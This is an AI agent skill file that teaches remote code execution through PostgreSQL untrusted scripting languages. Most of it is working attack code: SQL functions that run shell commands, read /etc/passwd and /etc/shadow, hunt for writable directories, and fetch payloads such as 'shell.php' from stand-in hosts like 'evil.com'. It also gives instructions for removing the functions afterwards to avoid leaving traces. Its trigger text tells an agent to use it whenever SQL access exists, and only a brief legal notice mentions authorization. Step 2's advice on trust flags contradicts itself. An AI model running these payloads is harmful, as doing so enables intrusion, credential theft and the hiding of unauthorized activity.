| name | postgresql-language-injection |
| description | Exploit PostgreSQL scripting languages (plpythonu, plperlu, plrubyu, etc.) to achieve remote code execution from a compromised database. Use this skill whenever you have SQL access to a PostgreSQL database and want to enumerate available languages, trust untrusted languages, or execute arbitrary commands on the underlying OS. Trigger this for any PostgreSQL exploitation, database-to-OS privilege escalation, or when you need to run system commands through SQL. |
PostgreSQL Language Injection for RCE
When you have SQL access to a PostgreSQL database, you can exploit installed scripting languages to execute arbitrary code on the underlying operating system. This is a powerful post-exploitation technique.
Step 1: Enumerate Available Languages
First, check what scripting languages are installed in the PostgreSQL instance:
\dL *
SELECT lanname, lanpltrusted, lanacl FROM pg_language;
What to look for:
- Languages ending in
u are untrusted versions (e.g., plpythonu, plpython3u, plperlu, plrubyu, pljavaU)
- The
lanpltrusted column shows if PostgreSQL trusts the language (true = restricted, false = can execute code)
- Untrusted languages allow full system access
Step 2: Trust an Untrusted Language (If Needed)
If you find an interesting language but it's marked as trusted (lanpltrusted = true), try to change it:
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
UPDATE pg_language SET lanpltrusted = true WHERE lanname = 'plpythonu';
Step 3: Load Missing Languages (If Superuser)
If a language isn't installed but you have superuser access:
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION plrubyu;
CREATE EXTENSION pljavaU;
Step 4: Execute Commands via plpythonu
The most common exploitation path is through plpythonu (Python). Create functions to execute system commands:
Remote Code Execution
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
$$
LANGUAGE 'plpythonu';
SELECT exec('id');
SELECT exec('whoami');
SELECT exec('cat /etc/passwd');
Get Current OS User
CREATE OR REPLACE FUNCTION get_user(pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user('');
List Directory Contents
CREATE OR REPLACE FUNCTION lsdir(dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir('/');
SELECT lsdir('/home');
Find Writable Directories
CREATE OR REPLACE FUNCTION findw(dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw('/');
Find Specific Files
CREATE OR REPLACE FUNCTION find_file(exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find('/')
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file('psql');
SELECT find_file('ssh');
Find Executables in Directory
CREATE OR REPLACE FUNCTION findx(dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx('/');
Read Files (Base64 Encoded)
CREATE OR REPLACE FUNCTION read(path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string = base64.b64encode(open(path).read().encode())
return encoded_string.decode('utf-8')
$$
LANGUAGE 'plpythonu';
SELECT read('/etc/passwd');
SELECT read('/etc/shadow');
Get File Permissions
CREATE OR REPLACE FUNCTION get_perms(path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
SELECT get_perms('/etc/passwd');
Make HTTP Requests (Python 2)
CREATE OR REPLACE FUNCTION req2(url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('http://your-server.com/shell.php');
Make HTTP Requests (Python 3)
CREATE OR REPLACE FUNCTION req3(url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('http://your-server.com/shell.php');
Alternative Languages
plperlu (Perl)
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text
AS $$
my $result = `$_[0]`;
return $result;
$$
LANGUAGE 'plperlu';
SELECT exec('id');
plrubyu (Ruby)
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text
AS $$
return `$_[0]`;
$$
LANGUAGE 'plrubyu';
SELECT exec('id');
Important Notes
-
Function size limit: PostgreSQL functions return VARCHAR(65535) max. For large outputs, use base64 encoding or chunk the data.
-
Persistence: Functions created in the database persist until dropped. Clean up after yourself:
DROP FUNCTION exec(text);
DROP FUNCTION lsdir(text);
-
Error handling: If a function fails, check PostgreSQL logs or wrap in error handling.
-
Privileges: You need CREATE FUNCTION privileges. If you don't have them, you may need to escalate first.
-
Language availability: Not all PostgreSQL installations have untrusted languages enabled. Always enumerate first.
Quick Reference
| Goal | Function | Example |
|---|
| Execute command | exec() | SELECT exec('id'); |
| List directory | lsdir() | SELECT lsdir('/'); |
| Find writable dirs | findw() | SELECT findw('/'); |
| Find file | find_file() | SELECT find_file('ssh'); |
| Read file | read() | SELECT read('/etc/passwd'); |
| HTTP request | req3() | SELECT req3('http://evil.com'); |
Cleanup
After exploitation, remove your functions to avoid leaving traces:
DROP FUNCTION IF EXISTS exec(text);
DROP FUNCTION IF EXISTS get_user(text);
DROP FUNCTION IF EXISTS lsdir(text);
DROP FUNCTION IF EXISTS findw(text);
DROP FUNCTION IF EXISTS find_file(text);
DROP FUNCTION IF EXISTS findx(text);
DROP FUNCTION IF EXISTS read(text);
DROP FUNCTION IF EXISTS get_perms(text);
DROP FUNCTION IF EXISTS req2(text);
DROP FUNCTION IF EXISTS req3(text);
⚠️ Legal Notice: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.